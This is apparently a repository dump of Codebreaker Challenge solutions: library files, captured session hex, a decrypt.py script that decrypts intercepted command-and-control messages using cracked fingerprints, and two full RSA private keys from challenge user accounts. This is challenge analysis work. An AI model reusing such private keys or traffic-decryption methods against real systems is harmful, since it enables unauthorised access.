/task10/home/lpuser/.local/lib/python3.6/site-packages/cffi-1.14.5.dist-info/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Except when otherwise stated (look for LICENSE files in directories or 3 | information at the beginning of each file) all software and 4 | documentation is licensed as follows: 5 | 6 | The MIT License 7 | 8 | Permission is hereby granted, free of charge, to any person 9 | obtaining a copy of this software and associated documentation 10 | files (the "Software"), to deal in the Software without 11 | restriction, including without limitation the rights to use, 12 | copy, modify, merge, publish, distribute, sublicense, and/or 13 | sell copies of the Software, and to permit persons to whom the 14 | Software is furnished to do so, subject to the following conditions: 15 | 16 | The above copyright notice and this permission notice shall be included 17 | in all copies or substantial portions of the Software. 18 | 19 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 20 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 21 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 22 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 23 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 24 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 25 | DEALINGS IN THE SOFTWARE. 26 | 27 | -------------------------------------------------------------------------------- /task9/sessions/chickie: -------------------------------------------------------------------------------- 1 | 6aeaa8e867412b891fdc1991afcf92f06040fa18c04b0e0bf160cdfc32cd0c76 2 | 5413ac78b01ec6a1098543dd4d4b1fd4b68d729d0e67e69f2fb05be634fcacec9be298134ca2086227e5bda384a21e0f29155b0e339011ef1b1129c4ef6980883c3b01536243f372ed269009dd439690f35d573e7eae72113d5c33acbb438a4e5f1e93751195706f2cb327caf956fc85fb2b174f0ba129a6b303d23e768c5f95caaf5eaacf62a633802535d111b84f 3 | f5560af46f120876788160addb65aeb3cf365b038567a0302dcb0b377dd70873087e773db76687ce213db432d12c893437bb93a71900c423d707c118695fbd74bd45a713a2f09e1bff87da54e3e9 4 | d30e2d2a5bae0971cf428010501ff4a96006146b67aab5f55201e7a0298ad188047f197f0ba23b5160feaf992553101b6f0d7262b13e7791eaf615fc 5 | 369bcaea0b7cd47e14a3e6106bb0cee71526233beed796b03711d465cc61dff3ef82aa96e7106a596382edda81ac77ecee8f10ea91b05bca8d8a1917f3aba8c4145f8c9b1bf1b4cc85a5707494715396325c37a6f8b9ce59cb5741e9d8f9aeb62ebdcd83e883e46396b33e7bfdf251c23151cba86d49dc2c341cf3c0e10d1ca03099c6d0d2d15a7f77c9fc344b82a3b5fe163b8f6ae4f5dd761b5ce01e7b665985997f6bcb72bc69ee2bb29f7999d20051486c398bd47d8a9ac230fe4144c5f9d28d88e4c9b6ae4f46335fffa352f9651f7e5688b3e8d03b90768bea742b134f1facd32c216c280ad457901dc8b5836a93ef8aa5bb22e4585684e1b34c2af45c027fbc140e8c4bc0e7b6d11aae38d8fc81b41a0e57cec101adc45ae72ccdcdd505eeed605b9c07a4ed99f3825ddb9882fd1315a98f961d709b6f7d483aba896b7e85f23daa33f455c91e0e706ccef3e921ea169a4cbfbf8b16fc246de4788fd3eb07b97c0e99fde06da2b60b2643904692abbe927cb15499d5003183c71461952d5dee0d8914743b96 6 | 5adda55b6750fd43df7f166ce1f399bafba305d4d66741ee54cb120afb2bb355c7cd4a1165d87724b328c49ebee7273caef9cdaf170446e111dcd2b5 7 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/pycparser-2.20.dist-info/LICENSE: -------------------------------------------------------------------------------- 1 | pycparser -- A C parser in Python 2 | 3 | Copyright (c) 2008-2017, Eli Bendersky 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without modification, 7 | are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | * Neither the name of Eli Bendersky nor the names of its contributors may 15 | be used to endorse or promote products derived from this software without 16 | specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 19 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 22 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 24 | GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 26 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 27 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /task8/go.sum: -------------------------------------------------------------------------------- 1 | github.com/briandowns/spinner v1.16.0 h1:DFmp6hEaIx2QXXuqSJmtfSBSAjRmpGiKG6ip2Wm/yOs= 2 | github.com/briandowns/spinner v1.16.0/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ= 3 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= 4 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 5 | github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU= 6 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 7 | github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE= 8 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 9 | golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97 h1:/UOmuWzQfxxo9UtlXMwuQU8CMgg1eZXqTRwkSQJWKOI= 10 | golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 11 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 12 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 13 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4= 15 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 17 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 18 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 19 | -------------------------------------------------------------------------------- /task0/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # Task 0 4 | 5 | [![Categories Badge](https://img.shields.io/badge/Categories-Community%20of%20Practice%2C%20Discord%20Server-BrightGreen.svg)](https://shields.io/) 6 | [![Points Badge](https://img.shields.io/badge/Points-1-blue.svg)](https://shields.io/) 7 |
8 | 9 | > As a participant in the Codebreaker Challenge, you are invited to join New Mexico Tech’s Codebreaker Challenge Community of Practice! 10 | > 11 | > We're piloting this community to provide Codebreaker Challenge participants and people interested in cybersecurity a place to talk about Codebreaker, cybersecurity, and other related topics. You should have received an invitation link to the Community Discord server in your confirmation email. 12 | > 13 | > To complete this task, join the Discord server. Once there, type `!task0` in the chat. Follow the prompts, and paste the answer the bot gives you below. 14 | > 15 | > Note: You must provide the bot with the email you used to register for the Challenge. 16 | > 17 | > --- 18 | > 19 | > Provide the answer the bot gives you 20 | > ``` 21 | > ``` 22 | 23 | ## Files 24 | 25 | * [solution.txt](solution.txt) - Solution 26 | 27 | ## Solution 28 | 29 | When registering for the challenge, you have to provide and then confirm your email address. The confirmation email contains an invite link to join the Discord server. 30 | 31 | There is a `bot-commands` text channel within the server where you can enter the command `!task0`. A bot will then request your email address and give you a code: 32 | 33 |
34 | 35 | ![Bot Message](img/bot.png) 36 |
37 | 38 | Our sanity has been checked, now on to the fun stuff! 39 | 40 |
41 | 42 | ![Complete Message](img/complete.png) 43 |
44 | -------------------------------------------------------------------------------- /task10/home/lpuser/.ssh/id_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAnd8jzrWQioMrWK1JwvpXTgS/gY7xCF5ADj8Ea+FmSVtPzTuy 3 | tz/WRjuxktjVONODFfdcvM42FdOEc4nvkbKz+WGRDmb+JJCX30saxMQHvL68SwdL 4 | UpA/U7oFhTb4olg3dxOpJ4fspqC7/e7J/rh/VLDdNIN0DaWc93NuPyatgvoD260/ 5 | ZjHaEkitlO4Sd51M7KBYTQWZWkeDAQdp9Nne6EWCxsErq97Wqn+JynmOzTiRgvve 6 | di88oAtfRK44+f53Bct98ZzKG07CBkykF3XxH1J9MbwhNhKM9DGOxCo3eNZrie1N 7 | 9NPPV6aPZ3JF/1ShqhIrYmwzihFPYExYCfjB/wIDAQABAoIBAECxeBL1BE4+gjzM 8 | hjWIMM6f03pcARnUxZsQ59btfuUArisEE7BUUJJnU9VBVd77jfQqca5NMoyvKM/P 9 | 7oReHrJK8Q5d1jdVqWaveEC5tBH8d1ynmI403j6JNEnqxOiCDfiV7fNtF+UQaPke 10 | KVhgco1aDMvAMoaFH1Wnz73BM8k/1h75kH2IWkWxEMcg6/ao8OGbdQM+4hESNOPV 11 | 6945AE+tRjTVl1tU2McOSF/tyqiK7qdLYQyRhEd3QAcx5lupAABTESsmOp2ggpTY 12 | qa6wjG/HFSYpvojVTNxkIRz9b9T33HAi3lV6bu2cWiMRK7qcbIfvDOQqBdXrhv/t 13 | iWwE8kECgYEAyx3JhjWrEZtIJc4RWFUvWw2eH29lv33bmL6CNDR9PYoijINF/shy 14 | EYbi8cehSX4qRgFujBfdg+XyWyu8+LS9+onZvB54euD/Eu2UAJn339Ee5Jgp/eEB 15 | FEK7h6C34qpwygUSNJr0e+89i0SmB6Y2+WuSnZzZ2avQOuioiUMVBLUCgYEAxvmt 16 | 49OishA//fnJZ3lkzFPfKAZit58RpPWf+sOYM8cXZA5K8KKkK771l8ykd20zcMZ4 17 | bHMJfyRx3K/DcWd/hGcFMFcmsd6eYX2UlRVg1K1DLqBx1ftGfj50JSx1fPi5MmkH 18 | MOliOEJm9ab/pz5shEjpWsznIaqJtRx3t6feMGMCgYA2Y5KMEqDtRQRrwyNX4O+e 19 | VSYrSrwXK896tkDNU+TZbrzTnW9Hy0roMJNipM8mi9csCcQdVWKmqBNeoHaorlVU 20 | 2kboncwrM0Z6Pg3sn04Fq8y275wG9JJCZ6ApsDqtQnCTWApI9dlTuntjaI2A7Nw5 21 | q7mF5PNc2yoWLCi9IK5nJQKBgH/s0L60N1rSFcJdEP8EziiMF+Is0NULYRW0kalw 22 | jW9kpgY/JjE17+TsPgvdlzPtMnBkOdJH16g1rzraigZkK1jdvzlIHummnh9B1QBQ 23 | oVO7HYFhyC5yAe1yi8vGnLa/Vpoxal0o/2v6TSXMu3s0KCKYmec167f6Y9TcO6AJ 24 | PlHPAoGBAKHi+baxCZLexQq1LL0dp5eZRk7qpJvylMaRe+mXwKZJ3KMQ49huttci 25 | mNM6wMcsa9eawdtE9ClKUovYa5/NmmsrK47+5a/R9QW1sVZEJIbl2k+rxYvDtUGR 26 | fLdkJ5ROK4BxXjONmRzwC/UGhPX8Z7jAmN167bv/xTVOCy0fm5jA 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /task10/home/psuser/.ssh/id_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpgIBAAKCAQEA0MtTfODBAohjPzDJsmBAkXFj6GWYICzs8d1XBa/8YmN+cqvu 3 | LHH3/2ifs1n7WHuzbZ03cQK96EmQsVBa91qQt12EFyZiMt1u5v10NOBY1G6tjQ2X 4 | MQwFOINi5Ky5x8l/Zlf+6YH/E6Sn//QX0mZWIAjAT1VebVyhUfXT4HwxZip6ia6H 5 | m7r1zh2EWGqNrGCiYUer/waCdRmlIiDG6kq70uHx6bbDWpZsCUOaRsRdmdjPIG6Y 6 | gEJ0dxVm/qraUwuMQatVjARNoAn2qP36JTVTuGoGP0OHwupsAV0w7erMldmTYEe0 7 | gktvlqbJTUMlpF8b+w7srv3gqyVmUBIajzcwCwIDAQABAoIBAQCbGV8EVcSqh/wJ 8 | lclOexebsvp/SPCvfg/pPv2E2Q0HXVcyAaukUmjhzqtLRJ1kRkesNmxXw6ykn/ke 9 | 7k0Uj68OtyYHOFkb5cebSU2IddsmuqyrKhxUr9Q0/cx5iCFdWr4LnXRbq1h7FAZE 10 | KOOFRMXXeAi7JfRGEtg3FQB2MmtTswS9P8G0e8W3JjNj0cktsr1+Ga6qzr5TnA18 11 | wsBUB5+Z27Oboe58iTIKTc8gNhuSGSthVwGOgw6OROavbyqzFGn53dGbgyhenQKl 12 | CCCB3AYaKxfSIRcSGxqats+t5K9mInY+cNs+jziKvA5fWGUZ/Wi7P3+Ow/tLSn8E 13 | FFBtvzZxAoGBAO5TcyM0bWmazguIuqAaP/fw4bThd0yV2fNf+++/F3+GHdnA2RdL 14 | blm6f76I4pgTi0+bHyS7Q5y2SvmLng3TmBJ5iRG8l6UpYArlAwt9nnvuWQM5ze+t 15 | WPeOVMgJD1OCkY3IqajgR8YX5gdbFbeNofNe9x7ziUkaB8xJ6MB5R9tTAoGBAOBH 16 | OZKwCpcLPFwSy56MdD+v2Le7aZXJEQDpEkcKF8MD3EVClnNCdHgoOJLwA+vmb1WI 17 | vKP0rSl5TzXcJbfbXoUvnfwOYBM3vQofaT4O5n5nd+e1HBvl9OvNfM9eO3iDe53I 18 | 13xc014OidpamM5y8Fy5Lo2Pr5+vP3xiU2APHHlpAoGBAOeb/cb2ymXY5ejbpdK1 19 | 7/i7Bf5NJy0sbDVS0Ho70VBDPHtEKTW0PrfAwSifyuZUCA0DCY8e1iRUHCTMBHwX 20 | aDB8IDM2foEp5oZv7TebiwuRpLu3z2TfqBhdIBOOinBz8ZRCsG7IF7hxvUDkygQq 21 | BnuHjM1ti7uZKn7kTOfQdX61AoGBAJSY3F6CYSHegemHUn4EFWm0+uQROk3R4IA3 22 | 7LJAz6mYPzNsgP5xA3YxP/qrKA3+qbmEVWhUTv7xrzfCWwNMR337JLPCWomhHpE8 23 | aqCBgtoxd9J/vtYFMJejmJRUnRamFxtd3Ng7MJhbDZ8s852lrffhgiStFPG6TVf+ 24 | VbuJh5YxAoGBAOeDqSjYvv5imRh+okt1tn183PjA7mr15m8rEPk1sffcCrFBRMa2 25 | 1qjJqS9d8FPYDXaEnUYZ3Bjg7RDvb/AkLsmJRbZxu3ATvDdCl0AVkWvLCWxrjiTz 26 | zoG6NKKKSGb4WDUi8KMQNXNeWCoEkamyP2Dmes4GKyeCPtH0VdvrWjlS 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/bindings/randombytes.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | from nacl import exceptions as exc 18 | from nacl._sodium import ffi, lib 19 | 20 | randombytes_SEEDBYTES = lib.randombytes_seedbytes() 21 | 22 | 23 | def randombytes(size): 24 | """ 25 | Returns ``size`` number of random bytes from a cryptographically secure 26 | random source. 27 | 28 | :param size: int 29 | :rtype: bytes 30 | """ 31 | buf = ffi.new("unsigned char[]", size) 32 | lib.randombytes(buf, size) 33 | return ffi.buffer(buf, size)[:] 34 | 35 | 36 | def randombytes_buf_deterministic(size, seed): 37 | """ 38 | Returns ``size`` number of deterministically generated pseudorandom bytes 39 | from a seed 40 | 41 | :param size: int 42 | :param seed: bytes 43 | :rtype: bytes 44 | """ 45 | if len(seed) != randombytes_SEEDBYTES: 46 | raise exc.TypeError("Deterministic random bytes must be generated " 47 | "from 32 bytes") 48 | 49 | buf = ffi.new("unsigned char[]", size) 50 | lib.randombytes_buf_deterministic(buf, size, seed) 51 | return ffi.buffer(buf, size)[:] 52 | -------------------------------------------------------------------------------- /task9/sessions/sayre: -------------------------------------------------------------------------------- 1 | 1bf8ada5803f5e7358a3426afa758d27f6aa23c1de806df764711ae222782909 2 | fa40064376df3711686d4244e7e4aaffd32bf5a1f30bf1973d10e2884b8b12ff4282ffa413dd064a241ed384e0fc0df2f9cd5fdcfdf30699042d9ad2af61f148bb188975e9a6e388a962df2c84a101bda367d3cd525f0174fdc46b7ed348de8d236aad685382e17d170167129990701fe5fdbff07e3a23d3bf26d8be6094e338cab065859cb95b 3 | 6ff290588db134c030a69b63d6319c71d2c35af189cdf55da76eb48ecc9b38ab27f0cf897a2448326cb4b448b716d34ffe7cd9fd215eea31933dce9d50cc042f283d2adc06eb8e0d28c135e621f0 4 | e0671fd161994419d20ee04387484e0c3b72923f74b892ac6c1d78ad684ce7a4abec30f9c2eef8b0da4a0d5771bc55ad8cf30d46f654c5fbb942df34 5 | 2767d8e384b8bf18ec22de54c5c3ef09d534fd5b3f29e8fab8188e7878cb36a63760afd5e5c5d92f1a542fec3530e7da4334c0f4bbfb811624a7cd375d9be0c1a6d1c1b44b8bd4ac2e4265c15dd4 6 | d2ed2d83cc980d228da51e2a065aeba515a278d29db9ca27fbddc30b721291d2feacd1b7611ffd7fb23997dba1726604c28238311f5868df2ec052a53d87211128a3097ce027e87130e1603bdc23196136cd052cf98d0549404d3931043ad6efc3fded9368b67bccc1153d031d6bab15a013b24a 7 | e9c116c9be5ac8c87905b2cbe3891aa55627abff9dbf0b4da39b16ffdb2a6cc86f540543e0de8201bfa4394e7ba92138e706d329400ddba7723d5ba6b0cf84de58cd9a9e6a4dc379cd08fcdf3637c33ec28a66aa9c08b452fec747d8f330a4ac6635e7aab9779f0cefab53ae6e7fbd5329e9f69e56a45395f3a208bfcd3e1a9480f025f57221368d95fb4f2c9106 8 | 6c5e93e12c81a8ba11b42dec659ee79672db61fef7ae015acab78556118ac5e6181d4c8a3cb9bcbcc83dea35b14d4f0e89804d17e422817d4b114f07c5bfcd2bb8d0ad 9 | 479db8fc0ee000582554848f7b733c6cc99499ed7e02954eff16a55f04c9cf523a764ee2b1d19321f896aa4cb58df6fac01c3df8b1c62f7e1df1b358249d31a65a5bb554fc2ecd282a1aeed05e7a492386bd5bda16c412fd51566a6bc3bb8906005387741b1908a63bfa32aa51d01f4b5bb80a8948a1cd630a64a91578f1c56b63297e34754538cf1015a0044d668824c3b9296cc68d712c1a48be6fa9 10 | 1949e720dc4b343b2d69ac2d1fccbd597c09c6eec735365dbc0c6e7faeaa294ca75534ed9c8925f8e5d288c3802a4b4b948a31aae83b60052301dd79118beba599825cad539c0bccd19a7b33b7ab95a7e3d774357d877fe21090a808746f7cca67b0bbe8c3cfe3a73c4dd21798 11 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/six-1.16.0.dist-info/METADATA: -------------------------------------------------------------------------------- 1 | Metadata-Version: 2.1 2 | Name: six 3 | Version: 1.16.0 4 | Summary: Python 2 and 3 compatibility utilities 5 | Home-page: https://github.com/benjaminp/six 6 | Author: Benjamin Peterson 7 | Author-email: benjamin@python.org 8 | License: MIT 9 | Platform: UNKNOWN 10 | Classifier: Development Status :: 5 - Production/Stable 11 | Classifier: Programming Language :: Python :: 2 12 | Classifier: Programming Language :: Python :: 3 13 | Classifier: Intended Audience :: Developers 14 | Classifier: License :: OSI Approved :: MIT License 15 | Classifier: Topic :: Software Development :: Libraries 16 | Classifier: Topic :: Utilities 17 | Requires-Python: >=2.7, !=3.0.*, !=3.1.*, !=3.2.* 18 | 19 | .. image:: https://img.shields.io/pypi/v/six.svg 20 | :target: https://pypi.org/project/six/ 21 | :alt: six on PyPI 22 | 23 | .. image:: https://travis-ci.org/benjaminp/six.svg?branch=master 24 | :target: https://travis-ci.org/benjaminp/six 25 | :alt: six on TravisCI 26 | 27 | .. image:: https://readthedocs.org/projects/six/badge/?version=latest 28 | :target: https://six.readthedocs.io/ 29 | :alt: six's documentation on Read the Docs 30 | 31 | .. image:: https://img.shields.io/badge/license-MIT-green.svg 32 | :target: https://github.com/benjaminp/six/blob/master/LICENSE 33 | :alt: MIT License badge 34 | 35 | Six is a Python 2 and 3 compatibility library. It provides utility functions 36 | for smoothing over the differences between the Python versions with the goal of 37 | writing Python code that is compatible on both Python versions. See the 38 | documentation for more information on what is provided. 39 | 40 | Six supports Python 2.7 and 3.3+. It is contained in only one Python 41 | file, so it can be easily copied into your project. (The copyright and license 42 | notice must be retained.) 43 | 44 | Online documentation is at https://six.readthedocs.io/. 45 | 46 | Bugs can be reported to https://github.com/benjaminp/six. The code can also 47 | be found there. 48 | 49 | 50 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/pwhash/_argon2.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | from __future__ import absolute_import 15 | from __future__ import division 16 | 17 | import nacl.bindings 18 | 19 | _argon2_strbytes_plus_one = nacl.bindings.crypto_pwhash_STRBYTES 20 | 21 | PWHASH_SIZE = _argon2_strbytes_plus_one - 1 22 | SALTBYTES = nacl.bindings.crypto_pwhash_SALTBYTES 23 | 24 | PASSWD_MIN = nacl.bindings.crypto_pwhash_PASSWD_MIN 25 | PASSWD_MAX = nacl.bindings.crypto_pwhash_PASSWD_MAX 26 | 27 | PWHASH_SIZE = _argon2_strbytes_plus_one - 1 28 | 29 | BYTES_MAX = nacl.bindings.crypto_pwhash_BYTES_MAX 30 | BYTES_MIN = nacl.bindings.crypto_pwhash_BYTES_MIN 31 | 32 | ALG_ARGON2I13 = nacl.bindings.crypto_pwhash_ALG_ARGON2I13 33 | ALG_ARGON2ID13 = nacl.bindings.crypto_pwhash_ALG_ARGON2ID13 34 | ALG_ARGON2_DEFAULT = nacl.bindings.crypto_pwhash_ALG_DEFAULT 35 | 36 | 37 | def verify(password_hash, password): 38 | """ 39 | Takes a modular crypt encoded argon2i or argon2id stored password hash 40 | and checks if the user provided password will hash to the same string 41 | when using the stored parameters 42 | 43 | :param password_hash: password hash serialized in modular crypt() format 44 | :type password_hash: bytes 45 | :param password: user provided password 46 | :type password: bytes 47 | :rtype: boolean 48 | 49 | .. versionadded:: 1.2 50 | """ 51 | return nacl.bindings.crypto_pwhash_str_verify(password_hash, 52 | password) 53 | -------------------------------------------------------------------------------- /task8/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import nacl.secret 4 | import uuid 5 | import hashlib 6 | 7 | # hash fingerprint 8 | def keygen(fp): 9 | h = hashlib.sha256() 10 | h.update(fp.encode()) 11 | return h.digest() 12 | 13 | # decrypt message 14 | def decrypt(ciphertext, nonce, key): 15 | box = nacl.secret.SecretBox(key) 16 | return box.decrypt(nonce + ciphertext) 17 | 18 | # cracked fingerprints 19 | fingerprints = [ 20 | "sayre+1.6.7.9+1615897640", 21 | "root+1.2.2.0+1615897678", 22 | "chickie+2.7.5.7+1615897729", 23 | ] 24 | 25 | # build messages list from PCAP 26 | messages = [] 27 | messages.append(bytes.fromhex('6ff290588db134c030a69b63d6319c71d2c35af189cdf55da76eb48ecc9b38ab27f0cf897a2448326cb4b448b716d34ffe7cd9fd215eea31933dce9d50cc042f283d2adc06eb8e0d28c135e621f0')) 28 | messages.append(bytes.fromhex('30ebcf5f20a6d7d06d31c233560d18f13330be17ff8e896c5d61fde2644345cc997c9c627494423b042d545bf6f102a7f10f9b5856c83f49553d1a9cd0661c0d56b435459b046e571f488321f56c')) 29 | messages.append(bytes.fromhex('f5560af46f120876788160addb65aeb3cf365b038567a0302dcb0b377dd70873087e773db76687ce213db432d12c893437bb93a71900c423d707c118695fbd74bd45a713a2f09e1bff87da54e3e9')) 30 | 31 | uuids = [] 32 | for i, m in enumerate(messages): 33 | print(f"{'=' * 4} {fingerprints[i]}") 34 | 35 | # parse encrypted message 36 | length = m[:4] 37 | nonce = m[4:28] 38 | ciphertext = m[28:] 39 | key = keygen(fingerprints[i]) 40 | 41 | # decrypt message 42 | p = decrypt(ciphertext, nonce, key) 43 | 44 | # print init message fields 45 | print(f"MAGIC START: {p[:4]}") 46 | 47 | # CMD 48 | print(f"CMD PARAM: {p[4:6]}") 49 | print(f"CMD LENGTH: {p[6:8]}") 50 | print(f"CMD DATA: {p[8:10]}") 51 | 52 | # UUID 53 | print(f"UUID PARAM: {p[10:12]}") 54 | print(f"UUID LENGTH: {p[12:14]}") 55 | print(f"UUID: {p[14:30]}") 56 | 57 | # parse UUID 58 | u = uuid.UUID(bytes=p[14:30]) 59 | uuids.append(u) 60 | 61 | print(f"MAGIC END: {p[30:34]}") 62 | print() 63 | 64 | # print all UUIDs for submission 65 | print(f"{'=' * 4} UUIDs") 66 | for u in uuids: print(u) 67 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/encoding.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | import base64 18 | import binascii 19 | 20 | 21 | class RawEncoder(object): 22 | 23 | @staticmethod 24 | def encode(data): 25 | return data 26 | 27 | @staticmethod 28 | def decode(data): 29 | return data 30 | 31 | 32 | class HexEncoder(object): 33 | 34 | @staticmethod 35 | def encode(data): 36 | return binascii.hexlify(data) 37 | 38 | @staticmethod 39 | def decode(data): 40 | return binascii.unhexlify(data) 41 | 42 | 43 | class Base16Encoder(object): 44 | 45 | @staticmethod 46 | def encode(data): 47 | return base64.b16encode(data) 48 | 49 | @staticmethod 50 | def decode(data): 51 | return base64.b16decode(data) 52 | 53 | 54 | class Base32Encoder(object): 55 | 56 | @staticmethod 57 | def encode(data): 58 | return base64.b32encode(data) 59 | 60 | @staticmethod 61 | def decode(data): 62 | return base64.b32decode(data) 63 | 64 | 65 | class Base64Encoder(object): 66 | 67 | @staticmethod 68 | def encode(data): 69 | return base64.b64encode(data) 70 | 71 | @staticmethod 72 | def decode(data): 73 | return base64.b64decode(data) 74 | 75 | 76 | class URLSafeBase64Encoder(object): 77 | 78 | @staticmethod 79 | def encode(data): 80 | return base64.urlsafe_b64encode(data) 81 | 82 | @staticmethod 83 | def decode(data): 84 | return base64.urlsafe_b64decode(data) 85 | 86 | 87 | class Encodable(object): 88 | 89 | def encode(self, encoder=RawEncoder): 90 | return encoder.encode(bytes(self)) 91 | -------------------------------------------------------------------------------- /task2/interesting_login.json: -------------------------------------------------------------------------------- 1 | { 2 | "PayloadData1": "Target: OOPS.NET\\binder.debbra", 3 | "PayloadData2": "LogonType 3", 4 | "PayloadData3": "LogonId: 0X2CA22A", 5 | "UserName": "-\\-", 6 | "RemoteHost": "- (10.19.212.179)", 7 